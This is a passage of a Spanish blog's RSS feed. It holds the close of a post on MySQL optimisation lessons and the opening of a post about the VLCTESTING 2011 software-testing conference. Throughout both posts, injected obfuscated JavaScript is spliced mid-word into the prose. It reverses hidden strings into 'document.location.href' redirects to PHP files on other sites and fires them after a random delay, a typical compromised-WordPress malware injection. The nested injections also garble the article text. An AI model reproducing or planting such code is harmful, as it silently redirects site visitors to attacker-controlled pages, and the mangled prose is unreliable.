<p>Aprende bien <strong>qué significan los parámetros de configuración</strong>. MySQL tiene un montón. Simplemente aumentando los valores no desatascarás tus cuellos de botella. Si ves algo raro es posible que algún parámetro esté mal configurado y causando problemas. Hay un script PERL llamado <a href="https://github.com/rackerhacker/MySQLTuner-perl">MySQL Tuner</a> que nos puede dar buenas pistas.</p>
<p>A veces <strong>te sentirás frustrado</strong> por algo que no comprendes. Si algo he descubier<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to es que casi <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo en este campo tiene una explicación –incluso una razonable y lógica–.</p>
<p>Finalmente no descuides el res<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to de cosas. <strong>El rendimien<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to de la base de da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos es importante</strong> pero puede que haya mucho por mejorar en tu código, ¡no eches siempre la culpa a la base de da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos de <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todos los problemas!</p>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2011/12/21/8-lecciones-aprendidas-optimizando-mysql/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Reflexiones tras #VLCTESTING</title>
		<link>http://blog.climens.net/2011/11/15/reflexiones-tras-vlctesting/</link>
					<comments>http://blog.climens.net/2011/11/15/reflexiones-tras-vlctesting/#comments</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Tue, 15 Nov 2011 17:00:20 +0000</pubDate>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[vlctesting]]></category>
		<guid isPermaLink="false">http://blog.climens.net/?p=450</guid>

					<description><![CDATA[Hace unos días tuve la suerte de asistir a la primera edición de las jornadas VLCTESTING organizadas por el Institutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Tecnológico de Informática de la UPV, que toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toman &#8230; <a href="http://blog.climens.net/2011/11/15/reflexiones-tras-vlctesting/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Hace unos días tuve la suerte de asistir a la primera edición de las jornadas VLCTESTING organizadas por el <a href="http://www.iti.es/">Institu<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Tecnológico de Informática</a> de la UPV, que <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toman el testigo que <a title="Jornadas de Testeo de Sofware 2008 (día 1)" href="http://blog.climens.net/2008/04/02/jornadas-de-testeo-de-sofware-2008-dia-1/">las JTS dejaron en 2008</a>. Y creo que, pese a ser un even<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to modes<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to, han cumplido las expectativas y hubo más de 100 asistentes que seguro volverán en próximas ediciones.</p>
<p><a href="http://blog.climens.net/files/2011/11/VLCTESTING2011.png" class="broken_link"><img class="alignright size-full wp-image-455" src="http://blog.climens.net/files/2011/11/VLCTESTING2011.png" alt="" width="313" height="150" srcset="http://blog.climens.net/files/2011/11/VLCTESTING2011.png 313w, http://blog.climens.net/files/2011/11/VLCTESTING2011-300x143.png 300w" sizes="(max-width: 313px) 100vw, 313px" /></a>Como siempre en este tipo de ac<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos, hay de <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") 